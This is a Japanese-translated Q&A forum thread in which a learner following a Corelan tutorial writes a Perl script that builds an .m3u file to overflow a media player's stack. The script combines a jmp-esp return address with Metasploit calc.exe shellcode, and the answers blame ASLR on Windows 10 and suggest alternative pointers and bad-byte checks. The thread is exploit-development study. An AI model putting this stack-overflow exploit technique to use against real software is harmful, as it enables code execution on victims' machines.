1

エクスプロイトを再現するために、corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part- 1 -stack-based-overflows/ をフォローしています。

まず、次のコードによると、 EIP の位置は26089 As の後 (at 0016F454) であり、ESP は4EIP の後の文字(at ) であることがわかりました。0016F45C

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x444444); 

my $shellcode = "\x90" x 4 ;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);

結果: i.stack.imgur.com/LmPG8.png

jmp-espによる命令へのポインタを見つけます!mona find -type instr -s "jmp esp" -x X。私は0x7457AC5B1つを使用します。

結果: http://i.stack.imgur.com/iUoVY.png

私は慎重にすべてが機能しているように見せました。最終的なコード:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x7457AC5B); #0x6F90E8EC  0x1001B058       0x7457AC5B

my $shellcode = "\x90" x 4 ;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

最終結果: http://i.stack.imgur.com/JSwKt.png

それはうまくいきません!私のEIPとシェルコードの位置は正しいと信じているので、問題はシェルコードの有効性かもしれません. calc.exe別の Web サイトから起動するシェルコードを試しましたが、どれも機能しませんでした。

なぜ機能しないのですか?Windows 10 x64 を使用しています。私は何週間もこれに行き詰まっており、ウェブ上の同様の問題の記事を精査したので、私を導いてください. 私は本当にわからない。

前もって感謝します。

4

2 に答える 2

1
  • 対象OS:
    気をつけて!==> ASLR !!! チュートリアルでは「Windows XP SP3 (En)」
    がターゲットのようで、 「Windows XP [Version 5.1.2600]」でテストを行った。コメントでは、再起動後も ASLR を使用して「Win7 Prof Ver 6.1.7600 英語」で 作業する手順について肯定的なフィードバックがあります。そして、明らかに ASLR を使用してWindows 10でテストしています。

  • Windows プラットフォーム全体での信頼性:
    確認しました! EIP 0016F454 (「DDDD」が表示されます) を実際に制御できます。ESP は 0016F45C(shellcode) を指します
    さまざまな指示を試しましたか?(jmp、call、または push-ret)。
    cfgmgr32.dllで0x7457AC5B ==> "jmp-esp" を使用しました。MSRMCcodec02.dll で0x035bf23a ==> "jmp-esp" を試しましたか
    ?
  • 信頼できるポインターを見つけてみてください:
    pvefindaddr j -r esp -n -o (Immunity Debugger など)。そして、常に"SafeSEH""ASLR"を避けることをお勧めします。
于 2015-11-06T17:09:01.017 に答える
0

不良バイトをチェックしましたか?多くの場合、特定のバイトがファイル パーサーによってマジック マーカーとして使用され、シェルコードが完全にコピーされなかったり、破損したシェル コードに変換されたりする可能性があります。mona の bytearray 機能を使用して、不良バイトを特定することができます ( https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/ )

于 2015-11-08T22:04:25.250 に答える